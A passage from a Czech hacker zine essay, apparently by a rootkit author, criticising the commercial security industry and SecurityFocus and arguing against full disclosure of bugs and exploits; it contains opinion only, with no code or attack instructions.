(teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl
bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus!
(pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den).
protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf
konferenci.
v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou
velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.
full disclosure
neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen
najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit
mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste
s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne
masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se
opustilo od stareho postupu jez fungoval ve "starych dobrych casech", tj jeste pred
nekolika lety - kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval
vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi,
pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a
pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co
nejvice incidentu a iss melo vysokou klientelu, ale kdovi.
touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se
zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele
definoval "kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k
tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli". je to tak, hackovani
je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org,
stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam - a
rozhodne to bylo lepsi.
konec
tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat.
nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy
najdou) co zivi cele to monstrum zvane "security industry" si zacinaji uvedomovat ze
jsou v podstate manipulovani a ze pachaji vice zla nez dobra.
ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu
(krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu
verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux
kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p
mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to
tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako "security
experty" jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou
autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa,
grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru
grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj.
security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von
treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je
imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.
reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo
zepta.
poznamka:
informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka
ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena
fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne - jedna se
jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci
zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis
vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na
komercni security (nejsi nahodou klient securityfocus ? ;-) je zhruba tak o mesic az
pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p
sd, sd(at)hysteria.sk
navrat na obsah
co ty na to ? board